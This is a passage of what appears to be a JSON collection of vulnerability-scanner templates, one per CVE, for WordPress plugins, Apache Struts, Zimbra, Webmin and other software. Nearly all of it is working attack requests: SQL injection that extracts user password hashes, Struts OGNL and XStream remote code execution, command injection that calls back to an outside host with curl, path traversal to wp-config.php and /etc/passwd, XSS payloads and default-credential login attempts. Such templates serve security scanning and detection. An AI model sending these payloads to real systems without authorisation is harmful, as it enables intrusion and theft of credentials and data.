name=\"ct\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"cou\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"wp\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"fa\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"url\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"email\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"curr\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"wc\"\n\n1\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"pym\"\n\n1\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"pyt\"\n\n7\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"c\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"ssc\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"file1\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"attnam1\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"atttmp1\"\n\n\n-----------------------------34025600472463336623659912061--\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["<details/open/ontoggle=alert(document.domain)>","clients/listclients.php?"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"csrfToken\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-1598","info":{"name":"WordPress WPQA <5.5 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/asked-question"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"rendered\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0814","info":{"name":"Ubigeo de Peru < 3.6.4 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=rt_ubigeo_load_distritos_address&idProv=1%20UNION%20SELECT%201,(SELECT%20user_login%20FROM%20wp_users%20WHERE%20ID%20=%201),(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%20=%201)%20from%20wp_users#\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["idProv","idDist","distrito"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23348","info":{"name":"BigAnt Server 5.6.06 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Runtime/Data/ms_admin.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"user_name\";","\"user_pwd\";","\"user_id\";"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22242","info":{"name":"Juniper Web Device Manager - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error.php?SERVER_NAME=<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","The requested resource is not authorized to view"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45933","info":{"name":"KubeView <=0.1.31 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/scrape/kube-system"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BEGIN CERTIFICATE","END CERTIFICATE","kubernetes.io"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31984","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('{{num}}'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23544","info":{"name":"MeterSphere < 2.5.0 SSRF","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/resource/md/get/url?url=http://oast.pro"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31798","info":{"name":"Nortek Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[",\"CardFormatNo\":\"<img src=x onerror=alert(document.domain)>\"}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2251","info":{"name":"Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution","severity":"critical"},"requests":[{"raw":["GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"payloads":{"params":["redirect","action","redirectAction"]},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]},{"type":"status","status":[200,400],"condition":"or"}]}]},{"id":"CVE-2013-2287","info":{"name":"WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/uploader/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Uploader","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3526","info":{"name":"WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/trafficanalyzer/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["traffic analy","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-7240","info":{"name":"WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_HOST","The base configurations of the WordPress"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4117","info":{"name":"WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Category Grid View Gallery ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-6281","info":{"name":"WordPress Spreadsheet - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["page: '<script>alert(document.domain)</script>'","dhx_rel_path"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3827","info":{"name":"Javafaces LFI","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}{{paths}}"],"payloads":{"paths":["/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF","/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","/faces/javax.faces.resource/web.xml?loc=../WEB-INF","/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","/secureader/javax.faces.resource/web.xml?loc=../WEB-INF","/secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","/myaccount/javax.faces.resource/web.xml?loc=../WEB-INF","/myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF","/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<web-app","</web-app>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4625","info":{"name":"WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Duplicator - WordPress Migration"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2248","info":{"name":"Apache Struts - Multiple Open Redirection Vulnerabilities","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.action?redirect:http://www.interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-7091","info":{"name":"Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00","{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","words":["zimbra_server_hostname","zimbra_ldap_userdn","zimbra_ldap_password","ldap_postfix_password","ldap_amavis_password","ldap_nginx_password","mysql_root_password"],"condition":"or"},{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2013-7285","info":{"name":"XStream <1.4.6/1.4.10 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n<sorted-set>\n <string>foo</string>\n <contact class='dynamic-proxy'>\n <interface>java.lang.Comparable</interface>\n <handler class='java.beans.EventHandler'>\n <target class='java.lang.ProcessBuilder'>\n <command>\n <string>curl</string>\n <string>http://{{interactsh-url}}</string>\n </command>\n </target>\n <action>start</action>\n </handler>\n </contact>\n</sorted-set>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2013-1965","info":{"name":"Apache Struts2 S2-012 RCE","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/user.action"],"body":"name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-5979","info":{"name":"Xibo 1.2.2/1.4.1 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2621","info":{"name":"Telaen => v1.3.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/telaen/redir.php?https://interact.sh","{{BaseURL}}/redir.php?https://interact.sh"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-5528","info":{"name":"Cisco Unified Communications Manager 7/8/9 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15642","info":{"name":"Webmin < 1.920 - Authenticated Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /session_login.cgi HTTP/1.1\nHost: {{Hostname}}\nCookie: redirect=1; testing=1\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}\nAccept-Encoding: gzip, deflate\n\nuser={{username}}&pass={{password}}\n","POST /rpc.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{RootURL}}/sysinfo.cgi?xnavigation=1\nAccept-Encoding: gzip, deflate\n\nOBJECT Socket;print \"Content-Type: text/plain\\n\\n\";$cmd={{cmd}};print \"$cmd\\n\\n\";\n"],"attack":"pitchfork","payloads":{"username":["admin","root"],"password":["admin","root"]},"stop-at-first-match":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body_2","regex":["uid=(\\d+)\\(.*?\\) gid=(\\d+)\\(.*?\\) groups=(\\d+)\\(.*?\\)"]},{"type":"word","part":"body_2","words":["Content-type: text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14974","info":{"name":"SugarCRM Enterprise 9.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["url = window.location.search.split(\"?desktop_url=\")[1]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-13101","info":{"name":"D-Link DIR-600M - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /wan.htm HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/PPPoE/"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16932","info":{"name":"Visualizer <3.3.1 - Blind Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Visualizer","Tested up to:"],"condition":"and"}]},{"method":"POST","path":["{{BaseURL}}/wp-json/visualizer/v1/upload-data"],"body":"{\\\"url\\\":\\\"http://{{interactsh-url}}\\\"}","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","name":"http","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14750","info":{"name":"osTicket < 1.12.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /upload/setup/install.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ns=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo\n","GET /upload/scp/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /upload/scp/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1\n","GET /upload/scp/settings.php HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["<img src=x onerror=alert(1);>","getConfig().resolve"],"condition":"and"},{"type":"word","part":"header_4","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrftoken","part":"body","group":1,"regex":["__CSRFToken__\" value=\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2019-8390","info":{"name":"qdPM 9.1 - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin%5B_csrf_token%5D={{csrf}}&login%5Bemail%5D={{username}}&login%5Bpassword%5D={{password}}&http_referer=\n","POST /index.php/users HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearch[keywords]=e\"><script>alert(document.domain)</script>&search_by_extrafields[]=9\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","alert alert-info alert-search-result"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"login\\[_csrf_token\\]\" value=\"(.*?)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2019-14789","info":{"name":"Custom 404 Pro < 3.2.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=c4p-main&s=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"<svg/onload=alert(document.domain)>\")","contains(body_2, \"Custom 404 Pro\")"],"condition":"and"}]}]},{"id":"CVE-2019-20141","info":{"name":"WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)>","{{BaseURL}}/admin/data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["><img src=x onerror=alert(1)>>)1(trela=rorreno"]},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2019-2616","info":{"name":"Oracle Business Intelligence/XML Publisher - XML External Entity Injection","severity":"high"},"requests":[{"raw":["POST /xmlpserver/ReportTemplateService.xls HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nContent-Type: text/xml; charset=UTF-8\n\n<!DOCTYPE soap:envelope PUBLIC \"-//B/A/EN\" \"http://{{interactsh-url}}\">\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-20085","info":{"name":"TVT NVMS 1000 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-9726","info":{"name":"Homematic CCU3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.%00./.%00./etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","bin:.*:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3911","info":{"name":"LabKey Server Community Edition <18.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14696","info":{"name":"Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-20224","info":{"name":"Pandora FMS 7.0NG - Remote Command Injection","severity":"high"},"requests":[{"raw":["POST /pandora_console/index.php?login=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnick=admin&pass=admin&login_button=Login\n","POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndate=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","name":"http","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12990","info":{"name":"Citrix SD-WAN Center - Local File Inclusion","severity":"critical"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfilename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=\n","GET /talari/app/files/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers":[{"type":"dsl","dsl":["contains(header, \"text/html\")","status_code_3 == 200","contains(body_1, \"<title>Citrix SD-WAN\")"],"condition":"and"}]}]},{"id":"CVE-2019-8446","info":{"name":"Jira Improper Authorization","severity":"medium"},"requests":[{"raw":["POST /rest/issueNav/1/issueTable HTTP/1.1\nHost: {{Hostname}}\nConnection: Close\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\nX-Atlassian-Token: no-check\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n{'jql':'project in projectsLeadByUser(\"{{randstr}}\")'}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["the user does not exist"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16313","info":{"name":"ifw8 Router ROM v4.31 - Credential Discovery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/action/usermanager.htm"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["\\*\\*\\*\\*\\*\\*<\\/td>"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\\*\\*\\*\\*\\*\\*<\\/td>"],"part":"body"}]}]},{"id":"CVE-2019-9670","info":{"name":"Synacor Zimbra Collaboration <8.7.11p10 - XML External Entity Injection","severity":"critical"},"requests":[{"raw":["POST /Autodiscover/Autodiscover.xml HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n]>\n\n\naaaaa\n&xxe;\n\n\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","Problem accessing"],"condition":"and"},{"type":"status","status":[503]}]}]},{"id":"CVE-2019-10692","info":{"name":"WordPress Google Maps <7.11.18 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"user_login\"","\"user_pass\"","\"user_nicename\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-9915","info":{"name":"GetSimple CMS 3.3.13 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /admin/index.php?redirect=https://interact.sh/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuserid={{username}}&pwd={{password}}&submitted=Login\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/"]}]}]},{"id":"CVE-2019-5127","info":{"name":"YouPHPTube Encoder 2.3 - Remote Command 